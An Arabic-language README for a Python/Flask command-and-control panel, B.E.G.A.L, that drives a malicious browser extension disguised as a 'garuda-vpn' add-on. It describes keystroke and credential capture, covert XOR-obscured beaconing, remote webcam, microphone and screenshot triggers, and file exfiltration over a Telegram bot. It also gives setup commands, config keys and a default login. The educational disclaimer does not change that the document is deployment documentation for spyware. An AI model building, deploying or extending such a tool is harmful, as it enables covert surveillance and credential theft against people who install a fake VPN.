B.E.G.A.L - C2 v2.0 (التوثيق النهائي)

B.E.G.A.L (بوابة تسريب الباب الخلفي للنهب المتقدم) هي لوحة تحكم تفاعلية قائمة على الويب (C2) مبنية باستخدام Python (Flask و Socket.IO). صُممت هذه المنصة خصيصًا لتسهيل أبحاث الأمن السيبراني، ومحاكاة الفريق الأحمر، والأغراض التعليمية لفهم كيفية عمل البرمجيات الخبيثة/شبكات البوتات الحديثة في تسريب البيانات والتحكم في الأهداف (البوتات) عن بُعد.

---

⚠️ تحذير قانوني وإخلاء مسؤولية (مهم جدًا)

تم إنشاء هذا المشروع فقط لأغراض تعليمية وأغراض أبحاث الأمن السيبراني.

أي إساءة استخدام لهذه الأداة في أنشطة غير قانونية، أو هجمات غير مصرح بها على الأنظمة، أو سرقة البيانات، أو جرائم إلكترونية أخرى محظورة تمامًا. لا يتحمل المؤلف والمطورون والمساهمون أي مسؤولية عن أي خسائر أو أضرار أو إجراءات قانونية تنشأ عن استخدام هذا البرنامج.

أنت مسؤول بالكامل عن أفعالك. باستخدامك لهذه الأداة، فإنك توافق على الالتزام بجميع القوانين المعمول بها:

• القانون الإندونيسي: الامتثال لقانون المعلومات والمعاملات الإلكترونية (UU ITE)، لا سيما المواد المتعلقة بالوصول غير القانوني واعتراض الأنظمة الإلكترونية.
• القانون الدولي: يخضع للوائح الجرائم الإلكترونية الدولية والولاية القضائية المحلية الخاصة بك (مثل قانون الاحتيال وإساءة استخدام الحاسوب/CFAA في الولايات المتحدة، وقانون إساءة استخدام الحاسوب في المملكة المتحدة، ولوائح GDPR، إلخ). استخدم هذه الأداة فقط على الأنظمة التي تملكها أو على الأنظمة التي حصلت فيها على تفويض كتابي (قواعد الاشتباك) من مالك النظام.

---

✨ الميزات والوظائف الأساسية

1. لوحة تحكم C2 في الوقت الفعلي: مراقبة فورية لحالات البوتات/الأهداف المصابة عبر WebSockets، مع تصور بسيط للخرائط الجغرافية.
2. خزنة بيانات الاعتماد المسروقة: يعترض النظام تلقائيًا بيانات الاعتماد (أسماء المستخدمين/كلمات المرور) التي يدخلها الهدف ويخزنها ويلخصها في واجهة خزنة نظيفة.
3. التكوين الديناميكي (YAML): لم تعد الإعدادات الحساسة مضمّنة بشكل ثابت داخل النص البرمجي؛ بل يتم تكوينها عبر ملف config.yaml لأمان أفضل وتخصيص أسهل.
4. أوامر عن بُعد مستهدفة: وحدات تنفيذ عن بُعد محددة، مثل:
   • Trigger Webcam (الوصول إلى كاميرا الهدف)
   • Trigger Screenshot (التقاط شاشة سطح مكتب الهدف)
   • Trigger Mic (تسجيل صوت الهدف)
5. بوابة التسريب: واجهة رفع بالسحب والإفلات مصممة لتهريب الملفات المحلية للخارج عبر نفق تيليجرام آمن.
6. التخزين الدائم وإعداد التقارير: تخزين آمن للبيانات في قواعد بيانات SQLite لكل جلسة هدف، والتي يتم تلخيصها بعد ذلك في ميزة تقارير مخصصة (الرابط: /report).

---

⚙️ التكوين الديناميكي (config.yaml)

في أحدث إصدار من B.E.G.A.L، أصبح نظام الإعدادات ديناميكيًا باستخدام ملف تكوين YAML. إذا لم يكن هذا الملف موجودًا، فسيقوم النظام تلقائيًا بإنشائه (بقيم افتراضية) في المرة الأولى التي يتم فيها تشغيل begal-fixed.py.

افتح ملف config.yaml الذي تم إنشاؤه في نفس الدليل واضبط المعاملات التالية:

BOT_TOKEN: 'YOUR_BOT_TOKEN'
CHAT_ID: 'YOUR_CHAT_ID'
XOR_KEY: 'FLIPPER_SECURE_XOR_KEY_1337'
BCRYPT_PASSWORD_HASH: '$2a$12$VZnosb4amZbO1uQ4MniFhuFiqZVEmCF.3p1jXVoiXnG/3oztPLdxe'

• BOT_TOKEN: رمز API الخاص ببوت Telegram الخاص بك (أنشئ واحدًا عبر @BotFather).
• CHAT_ID: معرّف قناة/مجموعة Telegram المستخدمة كنفق لتسريب البيانات.
• XOR_KEY: مفتاح تشفير متماثل يُستخدم لتعمية نقل البيانات بين البوت وخادم C2. تأكد من أن هذه القيمة تطابق القيمة الموجودة في إضافة المتصفح.
• BCRYPT_PASSWORD_HASH: التجزئة (hash) الخاصة بتسجيل الدخول إلى C2 (كلمة المرور الافتراضية: datalost1337).
• DEFAULT USERNAME C2: flipper

---

🕷️ التكامل مع إضافة المتصفح (garuda-vpn)

صُمم B.E.G.A.L للعمل جنبًا إلى جنب مع "وكيل" (agent) أو حمولة (payload). في هذا المستودع، يتخذ الوكيل شكل إضافة متصفح خبيثة (addon) متنكرة في هيئة garuda-vpn.

كيفية عمل التكامل:

1. تثبيت الوكيل: يحتوي مجلد garuda-vpn على الحمولة الخبيثة (مثل background.js وcontent.js وmanifest.json). يجب تثبيت هذه الإضافة على المتصفح المستهدف (على سبيل المثال، عبر وضع Load unpacked في Chrome/Edge).
2. الحقن والاعتراض: بمجرد تثبيتها، ستقوم هذه الإضافة (بشكل خفي في الخلفية) باختطاف وظائف المتصفح لتسجيل مدخلات لوحة المفاتيح (بيانات اعتماد تسجيل الدخول)، وتسجيل سجل عناوين URL، والبقاء في حالة استعداد لتلقي الأوامر عن بُعد.
3. قياس عن بُعد خفي: ستُشفَّر البيانات التي يجمعها وكيل garuda-vpn باستخدام XOR_KEY وتُنقل بصمت (beaconing) إلى نقاط نهاية واجهة برمجة تطبيقات B.E.G.A.L C2 (مثل /api/v1/collector).
4. تنفيذ الأوامر: يفتح الوكيل اتصالات بنشاط أو يستعلم باستمرار من B.E.G.A.L C2. عند النقر على زر "Trigger Webcam" في لوحة الويب، يُمرِّر C2 الإشارة إلى إضافة garuda-vpn، التي تفرض بعد ذلك تنفيذ واجهة برمجة تطبيقات الكاميرا (webcam API) على المتصفح المستهدف.

كيفية الاختبار:

1. شغّل لوحة C2 (python3 begal-c2.py).
2. افتح متصفح Google Chrome / Chromium.
3. اكتب chrome://extensions في شريط العنوان. فعّل Developer Mode.
4. انقر على Load unpacked واختر مجلد garuda-vpn.
5. عُد إلى لوحة تحكم B.E.G.A.L؛ يجب أن ترى متصفحك المستهدف متصلًا ومُدرجًا في لوحة Active Bots.

---

🚀 التثبيت وتشغيل C2

1. تأكد من تثبيت متطلبات Python:

   pip install bcrypt Flask-SocketIO requests pyyaml
   

2. شغّل سكربت خادم C2:

   python3 begal-c2.py
   

3. ادخل إلى لوحة التحكم عبر متصفح على: http://127.0.0.1:31337 (بيانات تسجيل الدخول الافتراضية: flipper، كلمة المرور datalost1337)